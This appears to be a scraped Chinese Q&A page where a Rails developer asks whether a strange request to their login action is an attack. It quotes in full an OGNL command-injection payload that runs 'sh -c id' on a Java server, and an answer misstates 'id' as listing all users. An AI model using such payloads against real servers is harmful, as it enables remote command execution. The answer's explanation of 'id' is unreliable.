当前位置: 首页 > 知识库问答 >
问题:

登录操作上奇怪的帖子字符串;黑客企图?

钱京
2023-03-14

我们在Heroku上的Ruby on Rails应用程序一直在抛出奇怪的“未知格式”错误。在检查了正在发生的事情之后,似乎有人/某事试图将此字符串发送到我们的登录操作:

/login.action?redirect:$%7B%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]%7B%27sh%27,%27-c%27,%27id%27%7D)).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),%23matt=%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D=

这是黑客企图吗?如果是的话,我应该担心吗?我自己运行了post命令(使用curl)但没有得到什么…

共有1个答案

阚砚文
2023-03-14

查看new%20java.lang.string[]%7b%27sh%27,%27-c%27,%27id%27%7d)它将列出机器中的所有用户。由于它是java并且您运行的是ruby应用程序,我怀疑Heroku Dynos上是否会安装java。为了安全起见,您可以对输入进行消毒参考:在rails中消毒用户输入的最佳方法

 类似资料:
  • 今天我遇到了一段我不懂的奇怪代码。 这是什么意思()- 另一个问题是,字符串的输出是什么: 当然没有任何A、B等的例子。但是我有这样的答案 ABCDEFX、ACEFXX、ACEFXA、, 我不记得了 有人能帮我吗?

  • 问题内容: 我有一些奇怪的字符串池行为的问题。我正在使用比较相等的字符串来找出它们是否在池中。 输出为: 这对我来说是一个很大的惊喜。有人可以解释一下吗?我认为这是在编译时发生的。但是,为什么添加到String 根本没有任何区别呢? 问题答案: 是一个编译时常量,而 不是。因此,前者仅编译为字符串常量“ 555”,而后者则编译为实际的方法调用和串联,从而生成一个新的String实例。 另请参见JL

  • GETRANGE key start end 返回key 中字符串值的子字符串,字符串的截取范围由start 和end 两个偏移量决定(包括start 和end 在内)。可以使用负值,字符串右面下标是从-1开始的。 注意返回值处理: 1: start>=length, 则返回空字符串 2: stop>=length,则截取至字符结尾 3: 如果start 所处位置在stop右边, 返回空字符串

  • 问题 你想在字节字符串上执行普通的文本操作(比如移除,搜索和替换)。 解决方案 字节字符串同样也支持大部分和文本字符串一样的内置操作。比如: >>> data = b'Hello World' >>> data[0:5] b'Hello' >>> data.startswith(b'Hello') True >>> data.split() [b'Hello', b'World'] >>> dat

  • 问题内容: 如何从字符串中删除奇怪的和不需要的Unicode字符(例如带问号的黑色菱形)? 更新: 请告诉我对应于“其中带有问号的黑色菱形”的Unicode字符串或正则表达式。 问题答案: 带问号的黑色菱形不是unicode字符- 它是字体无法显示的字符的占位符。如果字符串中存在一个字形,而该字形不是用于显示该字符串的字体,则将看到占位符。定义为U + FFFD:它的外观取决于您使用的字体。 您可

  • 我使用StringTokenizer将字符串分成标记,但是每当出现在中间而没有任何时,就跳过它并取下一个标记 实际产出 想要的Outupt